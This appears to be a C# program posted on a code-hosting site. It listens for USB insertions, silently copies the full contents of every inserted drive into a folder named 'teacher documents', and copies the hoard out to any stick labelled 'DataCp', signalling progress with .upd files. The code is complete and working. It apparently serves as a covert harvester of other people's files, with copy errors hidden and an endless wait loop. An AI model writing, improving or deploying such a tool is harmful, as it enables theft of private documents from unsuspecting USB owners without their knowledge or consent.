135 lines
3.4 KiB
C#
135 lines
3.4 KiB
C#
using CopyUSB;
|
|
using System.Diagnostics;
|
|
using System.Management;
|
|
static string GetVolumeLabel(string driveName)
|
|
{
|
|
try
|
|
{
|
|
DriveInfo driveInfo = new DriveInfo(driveName);
|
|
return driveInfo.VolumeLabel;
|
|
}
|
|
catch (Exception)
|
|
{
|
|
return "default";
|
|
}
|
|
}
|
|
|
|
string query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2";
|
|
|
|
ManagementEventWatcher managementEventWatcher = new(query);
|
|
|
|
Console.WriteLine("Waiting for USB...,take usb: DataCp");
|
|
|
|
|
|
|
|
managementEventWatcher.EventArrived += (s, e) =>
|
|
{
|
|
/*Console.WriteLine("触发器被触发了");*/
|
|
string driveName = e.NewEvent.Properties["DriveName"].Value.ToString();
|
|
|
|
|
|
Console.WriteLine(driveName);
|
|
var dataDir = new DirectoryInfo(Path.Join("D:", "老师文档"));
|
|
|
|
if (GetVolumeLabel(driveName) == "DataCp")
|
|
{
|
|
Console.WriteLine("检测到拷出USB");
|
|
if (!dataDir.Exists)
|
|
{
|
|
dataDir.Create();
|
|
}
|
|
long doneNum = 0;
|
|
var copyTask = Task.Run(() =>
|
|
{
|
|
FileCopy.SimpleCopy(Path.Join("D:", "老师文档"), Path.Join(driveName, "FILE", "USBCopy"), ref doneNum);
|
|
});
|
|
var planPrint = Task.Run(() =>
|
|
{
|
|
Console.WriteLine("scanning and get totle num");
|
|
var fileNumber = FileCopy.DicFileNum(Path.Join("D:", "老师文档"));
|
|
Console.WriteLine("scanned ok and get totle num");
|
|
|
|
while (!copyTask.IsCompleted)
|
|
{
|
|
var usbRoot = new DirectoryInfo(driveName);
|
|
if (usbRoot.GetFiles().Where(w => w.Name == $"{(int)((float)doneNum / (float)fileNumber * 100)}.upd").ToArray().Length!=1)
|
|
{
|
|
var oldPrint = usbRoot.GetFiles().Where(w => w.Name.EndsWith(".upd")).ToArray();
|
|
Debug.WriteLine(doneNum.ToString());
|
|
|
|
foreach (var file in oldPrint)
|
|
{
|
|
file.Delete();
|
|
}
|
|
}
|
|
|
|
var newPrint = new FileInfo(Path.Join(driveName, $"{(int)((float)doneNum / (float)fileNumber * 100)}.upd"));
|
|
var nPStream = newPrint.Create();
|
|
nPStream.Close();
|
|
Thread.Sleep(1000);
|
|
}
|
|
{
|
|
var usbRoot = new DirectoryInfo(driveName);
|
|
var oldPrint = usbRoot.GetFiles().Where(w => w.Name.EndsWith(".upd")).ToArray();
|
|
Debug.WriteLine(doneNum.ToString());
|
|
|
|
foreach (var file in oldPrint)
|
|
{
|
|
file.Delete();
|
|
}
|
|
|
|
var newPrint = new FileInfo(Path.Join(driveName, $"{(int)((float)doneNum / (float)fileNumber * 100)}.upd"));
|
|
var nPStream = newPrint.Create();
|
|
nPStream.Close();
|
|
}
|
|
});
|
|
|
|
Task.WaitAll(copyTask,planPrint);
|
|
Console.WriteLine("-----Copy out OK---------");
|
|
return;
|
|
}
|
|
|
|
|
|
|
|
string dPath = Path.Join("D:", "老师文档", GetVolumeLabel(driveName));
|
|
|
|
Console.WriteLine($"Detected: {driveName} || Save To -> : {dPath}");
|
|
|
|
if (!Directory.Exists(dPath))
|
|
{
|
|
Directory.CreateDirectory(dPath);
|
|
}
|
|
|
|
var copyList = new List<(long, FileInfo, string, string)>();
|
|
var sortedList=new List<(long, FileInfo, string, string)>();
|
|
|
|
|
|
|
|
FileCopy.Copy(driveName, dPath,copyList);
|
|
|
|
sortedList = copyList.OrderBy(s => s.Item1).Select(s => s).ToList();
|
|
/*Console.WriteLine($"元素个数{sortedList.Count()}");*/
|
|
foreach (var copyItem in sortedList)
|
|
{
|
|
Debug.WriteLine($"{copyItem.Item4} {copyItem.Item2} --> {copyItem.Item3} {copyItem.Item1 / 1024 / 1024}MB");
|
|
try
|
|
{
|
|
copyItem.Item2.CopyTo(copyItem.Item3, true);
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
/*Console.WriteLine($"Copy Error {copyItem.Item2}");*/
|
|
/*Console.WriteLine(ex.ToString());*/
|
|
}
|
|
}
|
|
Console.WriteLine("\n--------------Scaned and waiting--------------\n");
|
|
};
|
|
|
|
managementEventWatcher.Start();
|
|
|
|
// 让程序保持运行状态
|
|
while (true)
|
|
{
|
|
Thread.Sleep(1000);
|
|
/*Console.WriteLine("一次休眠周期");*/
|
|
} |